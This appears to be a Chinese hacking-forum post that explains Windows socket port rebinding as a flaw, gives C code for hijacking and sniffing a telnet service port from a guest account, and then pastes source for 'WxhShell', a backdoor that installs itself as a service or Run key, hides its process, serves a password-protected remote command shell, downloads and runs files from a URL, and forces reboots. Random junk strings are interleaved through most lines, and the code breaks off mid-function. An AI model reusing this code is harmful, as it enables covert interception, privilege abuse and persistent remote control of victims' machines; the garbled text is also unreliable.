社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16003阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: GKdQ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); LY}%|w  
+r[u4?  
  saddr.sin_family = AF_INET; W6f?/{Oo8  
O o9 ePw7  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =N,9#o6^  
mKY}+21!Q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); vfAR^*7e  
>0kn&pe7#T  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 y7aBF13Kl  
HHa XK  
  这意味着什么?意味着可以进行如下的攻击: 1(0LX^%  
2Jo'!|]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 M@@l>"g@  
X%Jq9_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) tqyR~  
Zh.5\&bm  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6W&huIQ[  
IB#L5yN r  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `hYj0:*)S$  
>?K@zsv}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 F VBuCi?W  
" O1\]"j  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "w ] Bq0  
R,[ dEP  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $%!'c# F  
dWV.5cViP  
  #include Pe[~kog,TP  
  #include BL1$ ~0  
  #include EhDKh\OY5  
  #include    .}gGtH,b3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ihjs%5Jo%  
  int main() B|E4(,]^  
  { v-u53Fy  
  WORD wVersionRequested; 7+wy`xi  
  DWORD ret; EJ7}h?a]U_  
  WSADATA wsaData; mX))*e4k  
  BOOL val; 7i?"akr4  
  SOCKADDR_IN saddr; ximW!y7  
  SOCKADDR_IN scaddr; b4%sOn,  
  int err; csP 5R3  
  SOCKET s; ?m5@ 63 5  
  SOCKET sc; 2(V;OWY(@  
  int caddsize; e1a8>>bcI  
  HANDLE mt; kGm-jh  
  DWORD tid;   v|Y:'5`V  
  wVersionRequested = MAKEWORD( 2, 2 ); guJS;VC6U  
  err = WSAStartup( wVersionRequested, &wsaData ); "w}}q>P+sA  
  if ( err != 0 ) { ?pq#|PI)  
  printf("error!WSAStartup failed!\n"); ^PDz"L<*  
  return -1; RGd@3OjN  
  } aOZSX3;wg  
  saddr.sin_family = AF_INET; {RFpTh7f:  
   %5<uQc9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 AA[(rw  
gZbC[L  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); apsR26\^  
  saddr.sin_port = htons(23); G3O`r8oZcJ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Gs^hqT;h  
  { Wj0=cIb  
  printf("error!socket failed!\n"); n[$bk_S  
  return -1; |HhqWja  
  } J`/t;xk  
  val = TRUE; >*/\Pg6^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 q~_DR4xZ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) It$'6HV~Sb  
  { +>BLox6  
  printf("error!setsockopt failed!\n"); ph*9,\c8  
  return -1; qRk&bF/  
  } ;tK%Q~To  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; tQz=_;jy  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 98 dl -?  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 t[$C r;  
$80 TRB#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8w-2Q  
  { c:QZ(8d]L  
  ret=GetLastError(); i*-[-hn-V  
  printf("error!bind failed!\n"); ~,j52obR6Z  
  return -1; I =G3  
  } >2Z0XEe  
  listen(s,2); Mrpz(})  
  while(1) N<&"_jzm  
  { >fG=(1"  
  caddsize = sizeof(scaddr); O  |45r   
  //接受连接请求 ?U+^ctwv7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {C+blzh6  
  if(sc!=INVALID_SOCKET) Wtl/xA_  
  { 88%7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); OCR`1  
  if(mt==NULL) 5]_m\zn=  
  { xz!b@5DR'%  
  printf("Thread Creat Failed!\n"); 1+wmR4o  
  break; KVQ^-^  
  } }4'5R  
  } 8%C7!l q  
  CloseHandle(mt); S#km`N`  
  } c8uFLM j  
  closesocket(s); 7 YS'Tf  
  WSACleanup(); C(N' +VV_  
  return 0; / =]h@m-`  
  }   SP}!v5.  
  DWORD WINAPI ClientThread(LPVOID lpParam)  UZJ^ e$N  
  { L'1!vu *Rg  
  SOCKET ss = (SOCKET)lpParam; s2SxMFDP  
  SOCKET sc; q [}<LU  
  unsigned char buf[4096]; %H)^k${  
  SOCKADDR_IN saddr; `6bIxb{  
  long num; eBUexxBY  
  DWORD val; )\nKr;4MH  
  DWORD ret; ['~E _z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >9-$E?Mt  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   l(&3s:Ud  
  saddr.sin_family = AF_INET; c lhmpu  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); JATW'HWC|I  
  saddr.sin_port = htons(23); <V[Qs3uo(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ANIx0*Yl(  
  { Ax"]+pb  
  printf("error!socket failed!\n"); @4)NxdOE  
  return -1; >* Ag0.Az  
  } <Z b~tYp  
  val = 100; %5g(|Y]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /x2-$a:<  
  { =&%}p[ 3g  
  ret = GetLastError(); V47z;oMXct  
  return -1; TH[xSg  
  } AW{"9f4  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .wH`9aq;5@  
  { <'y}y}%  
  ret = GetLastError(); rdQKzJiX=U  
  return -1; 7+(on  
  } `kE ;V!n?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) RA];hQI?  
  { o]R*6$  
  printf("error!socket connect failed!\n"); '{>R-}o[3  
  closesocket(sc); sej$$m R  
  closesocket(ss); 7uUo DM  
  return -1; (5rfeSA^  
  } e\8|6< o[  
  while(1) +aY]?]  
  { X RQz~Py  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 H18.)yHX  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 LyRbD$m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "O}u2B b  
  num = recv(ss,buf,4096,0); qV$\E=%fhM  
  if(num>0) [SKN}:D  
  send(sc,buf,num,0); 0Dt-!Q7  
  else if(num==0) QsemN7B "<  
  break; *F:)S"3_~e  
  num = recv(sc,buf,4096,0); u~pBMg ,  
  if(num>0) MpNgp )%>  
  send(ss,buf,num,0); 8-|| Nh  
  else if(num==0) uM"_3je{W2  
  break; DXI{ jalL  
  } &~Hx!]uc  
  closesocket(ss); pie8 3Wy>  
  closesocket(sc); Y5fz_ [("  
  return 0 ;  i)!2DXn  
  } z=FOymv C  
mb\"qD5  
Svicw`uX0  
========================================================== -~_[2u^3  
,K W IuCU;  
下边附上一个代码,,WXhSHELL {P {h|+;  
Tr@|QNu  
========================================================== wU}%]FqtZ=  
&7J-m4BI  
#include "stdafx.h" %&iodo,EP'  
S+ 3l X7  
#include <stdio.h> u7/]Go44  
#include <string.h> :pH3M[7  
#include <windows.h> WGwIc7  
#include <winsock2.h> 1IPRI<1U  
#include <winsvc.h> '< .gKo  
#include <urlmon.h> {j8M78}3  
[4 v1 N  
#pragma comment (lib, "Ws2_32.lib") yM2}J s C  
#pragma comment (lib, "urlmon.lib") w}qLI4  
cjp~I/U  
#define MAX_USER   100 // 最大客户端连接数 1w!O&kn  
#define BUF_SOCK   200 // sock buffer jct|}U  
#define KEY_BUFF   255 // 输入 buffer Ur9L8EdC  
w/f?KN  
#define REBOOT     0   // 重启 ,,c+R?D  
#define SHUTDOWN   1   // 关机 ?E}9TQ  
-UoTBvObAm  
#define DEF_PORT   5000 // 监听端口 =91wC  
d-cW47  
#define REG_LEN     16   // 注册表键长度 e>T;'7HSS"  
#define SVC_LEN     80   // NT服务名长度 po!bRk[4  
Zmc"  
// 从dll定义API 3\ {?L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ZLZh$eZZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LgxsO:mi  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ie]k/qw+Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 207FD  
fZiwuq !_  
// wxhshell配置信息 }@ktAt  
struct WSCFG { :vx<m_  
  int ws_port;         // 监听端口 P,a9B2  
  char ws_passstr[REG_LEN]; // 口令 Q4/BpKL  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;Zj(**#H  
  char ws_regname[REG_LEN]; // 注册表键名 _Gaem"k|  
  char ws_svcname[REG_LEN]; // 服务名 S-ZN}N{,6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 md? cvGDE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #qR6TM&;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5XzsqeG|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A+frKoi  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I"x~ 7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,6pGKCUU:y  
MxT&@pq  
}; oyY z3X  
VCiq'LOR,<  
// default Wxhshell configuration @D=%J!!*  
struct WSCFG wscfg={DEF_PORT, <1Sj_HCT  
    "xuhuanlingzhe", /988K-5k  
    1, 4[JF.O6}  
    "Wxhshell", Ycq )$7p  
    "Wxhshell", 98O]tL+k/u  
            "WxhShell Service", Y*p<\{,oC  
    "Wrsky Windows CmdShell Service", U6*[}Ww  
    "Please Input Your Password: ", ' (XB|5  
  1, *]h"J]  
  "http://www.wrsky.com/wxhshell.exe", 2<p@G#(  
  "Wxhshell.exe" k9<UDg_ Y  
    }; _x3=i\O,  
TXXG0 G  
// 消息定义模块 u0,QsD)_X0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )ZBNw{nh  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g6P^JW}.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {^(uoB C/  
char *msg_ws_ext="\n\rExit."; j (Q# NFT7  
char *msg_ws_end="\n\rQuit."; OI"g-+~  
char *msg_ws_boot="\n\rReboot..."; ~m,~;  
char *msg_ws_poff="\n\rShutdown..."; h(~/JW[  
char *msg_ws_down="\n\rSave to "; )"hd"  
QRrAyRf[  
char *msg_ws_err="\n\rErr!"; %8%|6^,  
char *msg_ws_ok="\n\rOK!"; %#~wFW|]x  
CDXN%~0h  
char ExeFile[MAX_PATH]; T0"nzukd  
int nUser = 0; >3B {sn}  
HANDLE handles[MAX_USER]; 7CSz  
int OsIsNt; :@"o.8p   
Hm!"%  
SERVICE_STATUS       serviceStatus; Q _!tn*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2#3`[+g<n  
<H-kR\HF  
// 函数声明 MMC$c=4"  
int Install(void); QA;,/iw`  
int Uninstall(void); S5, u| H  
int DownloadFile(char *sURL, SOCKET wsh); ebNRZJ?C,  
int Boot(int flag); m[Ihte->  
void HideProc(void); 0*tnJB  
int GetOsVer(void); DR3om;Uk  
int Wxhshell(SOCKET wsl); "v`q%(TA  
void TalkWithClient(void *cs); mAGD qz>f  
int CmdShell(SOCKET sock); lo'#dpt<  
int StartFromService(void); Mp!1xx  
int StartWxhshell(LPSTR lpCmdLine); 0zT-]0  
Q&w_kz.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &~/g[\Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); He5y;5  
L kl E,W  
// 数据结构和表定义 ]v),[]Xs  
SERVICE_TABLE_ENTRY DispatchTable[] = +/eJ#Xw3u8  
{ m9MY d  
{wscfg.ws_svcname, NTServiceMain}, l;A'^  
{NULL, NULL} \v\ONp"  
}; );TB(PQsBT  
dY0W=,X$7T  
// 自我安装 5pDE!6gQ  
int Install(void) );}M"W8  
{ y= f.;  
  char svExeFile[MAX_PATH]; a73VDQr I  
  HKEY key; .m8l\h^3  
  strcpy(svExeFile,ExeFile); KnA BFH  
ub9[!}r't  
// 如果是win9x系统,修改注册表设为自启动 "DGap*=J  
if(!OsIsNt) { C;/ONF   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .|g@#XIwe#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Mt`LOdiC_  
  RegCloseKey(key); eN </H.bm]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "eOl(TSu/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bw!J!cCj  
  RegCloseKey(key); z;e@m2.IM  
  return 0; :@P6ibcX  
    } xoj,>[7 D  
  } @4Bl&(3S  
} Xf#;`*5  
else { :E|Jqi\  
yHC[8l8%  
// 如果是NT以上系统,安装为系统服务 WbhYGcRy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xg^%8Ls^  
if (schSCManager!=0) SSla^,MHef  
{ lX2:8$?X  
  SC_HANDLE schService = CreateService O43"-  
  ( R[m{"2|,Lc  
  schSCManager, Cg~1<J?2  
  wscfg.ws_svcname, cr ]b #z  
  wscfg.ws_svcdisp, l/B+k  
  SERVICE_ALL_ACCESS, i<>%y*+@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L>E;cDB  
  SERVICE_AUTO_START, \?Z7|   
  SERVICE_ERROR_NORMAL, 1pG|jT+Bi  
  svExeFile, dZf1iFCP  
  NULL, S#oBO%!  
  NULL, }1[s,  
  NULL, /U!B2%vq_  
  NULL, +aM[!pW(e  
  NULL st)v'ce,  
  ); a'Odw2Q_  
  if (schService!=0) : OjmaP  
  { NvTK7? v  
  CloseServiceHandle(schService); WjR2:kT  
  CloseServiceHandle(schSCManager); TB&IB:4)R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lDKyD`WKnZ  
  strcat(svExeFile,wscfg.ws_svcname); E $\nb]JQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %O#zE-H"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L>g6 9D !  
  RegCloseKey(key); X )Tyxppf'  
  return 0; +e*C`uP!  
    } J?dz>3Rhx9  
  } FW;}S9u3  
  CloseServiceHandle(schSCManager); -:'%YHxX  
} NT5##XOB  
} 6)ZaK  
3dbaCusT$  
return 1; :*[mvF  
} 4 $Kzh  
+_*NY~  
// 自我卸载 ]3='TN8aQF  
int Uninstall(void) h@1/  
{ =L1%gQJJ&  
  HKEY key; )!E:  
L;vglS=l;  
if(!OsIsNt) { {: _*P TVk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =?+w5oI0  
  RegDeleteValue(key,wscfg.ws_regname); T95FoA  
  RegCloseKey(key); _7';1 D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !ii( 2U  
  RegDeleteValue(key,wscfg.ws_regname); \}kR'l  
  RegCloseKey(key); gpzFY"MS=  
  return 0; .mqMzV  
  } NX(+%EBcA  
} %x@bP6d[  
} Eul3 {+]  
else { s 72yu}  
Ei+lVLoC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ht6}v<x.eA  
if (schSCManager!=0) 6(htpT%J  
{ CKe72OC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gp 11/ .  
  if (schService!=0) Q7F4OS5b  
  { HGh)d` 8  
  if(DeleteService(schService)!=0) { nSQ]qH&4d  
  CloseServiceHandle(schService); Q"eqql<h#  
  CloseServiceHandle(schSCManager); }W!w  
  return 0; a;U)#*(5|v  
  } JgP%4)]LV  
  CloseServiceHandle(schService); A/}[Z\C  
  } }2*qv4},!  
  CloseServiceHandle(schSCManager); !blGc$kC  
} L[Y$ `e{zd  
} zPHx\z"  
i,Z-UA|f=T  
return 1; .=G3wox3  
} s[UV(::E  
hR2 R  
// 从指定url下载文件 cw)J+Lyh  
int DownloadFile(char *sURL, SOCKET wsh) FqnD"]A  
{ + `'wY?  
  HRESULT hr; CK4#ZOiaa  
char seps[]= "/"; B%tj-h(a  
char *token; R8!~>$#C6)  
char *file; %RF$Y=c'C  
char myURL[MAX_PATH]; ?5lO1(  
char myFILE[MAX_PATH]; \SwqBw  
YKayaI\*  
strcpy(myURL,sURL); ?*kB>U9e  
  token=strtok(myURL,seps); Er$&}9G+-  
  while(token!=NULL) !nsr( 7X2  
  { =x(k)RTDu  
    file=token; pBBKfv  
  token=strtok(NULL,seps); ;Z"Iv  
  } |d6/gSiF  
;O,&MR{;|n  
GetCurrentDirectory(MAX_PATH,myFILE); =)i^E9  
strcat(myFILE, "\\"); Y Kp@ n8A  
strcat(myFILE, file); L.K|]]u  
  send(wsh,myFILE,strlen(myFILE),0); a5pM~.]  
send(wsh,"...",3,0); @raJB'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~+BU@PHv  
  if(hr==S_OK) 'h~IbP  
return 0; l9+CJAmq  
else  >}]bKq  
return 1; .v+J@Y a  
JW2f 6!b  
} nDckT+eJ  
l$l6,OzS@  
// 系统电源模块 e(1{W P  
int Boot(int flag) wkPomTO  
{ +@8, uL  
  HANDLE hToken; I3x+pa^]2  
  TOKEN_PRIVILEGES tkp; \ E5kpm  
ErsJWp  
  if(OsIsNt) { :(3'"^_NA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); + <w6sPm  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _:Y| a>  
    tkp.PrivilegeCount = 1; !&@t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #jj (S\WY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [-e$4^+9  
if(flag==REBOOT) { 3qNuv];2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Dq!YB[Z$:  
  return 0; UN;U+5,t  
} TOSk+2P  
else { o2]Np~`g,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 94*MRn1E  
  return 0; ) 54cG  
} _x!/40^G  
  } }I`o%GL  
  else { *(/b{!~  
if(flag==REBOOT) { G2c\"[N1/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "8(8]GgYx  
  return 0; XIM?$p^  
} $mf6!p4  
else { ci 22fw0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m<cv3dbZo  
  return 0; fG.6S"|M  
} +>a(9r|:  
} es+ZPX>Y  
L!ms{0rJ  
return 1; * "?,.  
} OMYbCy^  
NW21{}=4  
// win9x进程隐藏模块 )B~{G\jS  
void HideProc(void) f|s,%AU"i  
{ 7(LB}  
!|ic{1!_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5Go@1X]I  
  if ( hKernel != NULL ) wb]Z4/j#  
  { SEZ08:>x r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); irB}h!@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w5Ucj*A\  
    FreeLibrary(hKernel); j \ #y  
  } w/(2fU(  
nAj +HLO  
return; y{tM|  
} ,|UwZ_.  
Di$++T8"  
// 获取操作系统版本 [$\VvRu%  
int GetOsVer(void) :FS~T[C;  
{ d,j)JnY3V  
  OSVERSIONINFO winfo; gG(9&}@(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); # .OCoc  
  GetVersionEx(&winfo); "88<{xL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `<R^ZL,  
  return 1; -b  )~  
  else }Q,BI*}*  
  return 0; r6 pz(rCs}  
} SvQj'5~<  
N{!@M_C^%R  
// 客户端句柄模块  10_@'N  
int Wxhshell(SOCKET wsl) L9z5o(Aa  
{ o O1Fw1Y  
  SOCKET wsh; i^}DIx{  
  struct sockaddr_in client; :pP l|"  
  DWORD myID; $f6wmI;<y  
 ~}K$z  
  while(nUser<MAX_USER) >lO]/3j1  
{ P2U[PO  
  int nSize=sizeof(client); ?V)M!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {E1^Wn1M  
  if(wsh==INVALID_SOCKET) return 1; dJ{'b '#  
<Lq.J`|+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3J^'x  
if(handles[nUser]==0) jrYA5>=>#  
  closesocket(wsh); 0IbR>zFg.  
else oi^pU  
  nUser++; @CCDe`R*  
  } [;7$ 'lr%D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p,OB;Ncf/  
PV/hnVUl  
  return 0; &=-{adm  
} G\r>3Ys  
\!r,>P   
// 关闭 socket *;<oM]W_  
void CloseIt(SOCKET wsh) F4&`0y:  
{ 'd<1;Ayw  
closesocket(wsh); FK,YVY  
nUser--; 3 DZ8-N S  
ExitThread(0); MrS~u  
} l;;"v) C8  
r@H7J 5<Y-  
// 客户端请求句柄 cbX  <  
void TalkWithClient(void *cs) {gS7pY%_W  
{ ? y^t  
G5zsId dS  
  SOCKET wsh=(SOCKET)cs; FS6ZPjG)  
  char pwd[SVC_LEN]; m'L8z fX  
  char cmd[KEY_BUFF]; XZpF<7l  
char chr[1]; %4h$/~  
int i,j; f\vg<lca  
3*<~;Z' z4  
  while (nUser < MAX_USER) { EwOi` g  
Hl*/s  
if(wscfg.ws_passstr) { Z<[f81hE&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $4rMYEn08  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /m*+N9)  
  //ZeroMemory(pwd,KEY_BUFF); *JY2vq  
      i=0; aK'%E3!~=x  
  while(i<SVC_LEN) { 8$6^S{M3  
!K_ ke h  
  // 设置超时 7|pF (sb0  
  fd_set FdRead; jb!15Vlt"  
  struct timeval TimeOut; ?\T):o;/  
  FD_ZERO(&FdRead); ?h|w7/9  
  FD_SET(wsh,&FdRead); gn4 Sz")  
  TimeOut.tv_sec=8; N51RBA  
  TimeOut.tv_usec=0; 3 *[YM7y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7D)i]68E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mMtX:  
Bez 7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~HyqHx y  
  pwd=chr[0]; %0^taA  
  if(chr[0]==0xd || chr[0]==0xa) { 0HS"Oxx'  
  pwd=0; >=3ay^(Y2D  
  break; Z3nmC-NE  
  } x[eho,6)  
  i++; 3h>5 6{P  
    } :~dI2e\:  
+ |d[q?  
  // 如果是非法用户,关闭 socket PLDp=T%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p |xMXoa`  
} Ni) /L( &  
g{$F;qbkO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G' a{;3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tGh!5EZ6`  
HCVMqG!  
while(1) { BJI"DrF  
3/?{= {  
  ZeroMemory(cmd,KEY_BUFF); $56Z/*  
!TdbD56  
      // 自动支持客户端 telnet标准   *mj3  T  
  j=0; *Z=:?4u  
  while(j<KEY_BUFF) { j= Ebk;6p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A@k`$xevVj  
  cmd[j]=chr[0]; N\WEp?%~  
  if(chr[0]==0xa || chr[0]==0xd) { j?cE0 hz  
  cmd[j]=0; |c5r&oM&m  
  break; dd@-9?6M  
  } !Won<:.[0  
  j++; _^"0"<,  
    } -H(\[{3{V  
K#<cuHGC  
  // 下载文件 Ju 0  
  if(strstr(cmd,"http://")) { lQnqPQY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B&k"B?9mL  
  if(DownloadFile(cmd,wsh)) &KZr`"cT#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >YW_}kd  
  else &^!vi2$5}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;p4|M  
  } ZpTT9{PT=:  
  else { lZ` CFZR0  
a jyuk@  
    switch(cmd[0]) { TbPTgE *  
  tHV81F1J  
  // 帮助 b63tjqk  
  case '?': { 5t&;>-A'?'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 12MWO_'g8  
    break; MehMhHY  
  } wnoL<p  
  // 安装 V:vYS  
  case 'i': { UL   
    if(Install()) xsIuPL#_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XAf,k&f3  
    else uzpW0(_i3a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QCvz|)  
    break; )cd5iE:FO  
    } tE]0 #B)D<  
  // 卸载 MTxe5ob`$Q  
  case 'r': { y.'5*08S0  
    if(Uninstall()) hs  m%o\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /^TXGc.  
    else gnPu{-Ec*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _9Zwg+oO[  
    break; eURj'8o),  
    } :_y}8am;H~  
  // 显示 wxhshell 所在路径 bW9a_myE  
  case 'p': { vw/L|b7G  
    char svExeFile[MAX_PATH]; > R5<D'cEN  
    strcpy(svExeFile,"\n\r"); :6r)HJ5sg  
      strcat(svExeFile,ExeFile); jR CG}'  
        send(wsh,svExeFile,strlen(svExeFile),0); } JePEmj  
    break; k&h3"  
    } Y={_o!9  
  // 重启 `"* ]C  
  case 'b': { ClvqI"Rd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )LP=IT  
    if(Boot(REBOOT)) 93aRWEu3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `/0S]?a.{B  
    else {  ;Iu}Q-b*  
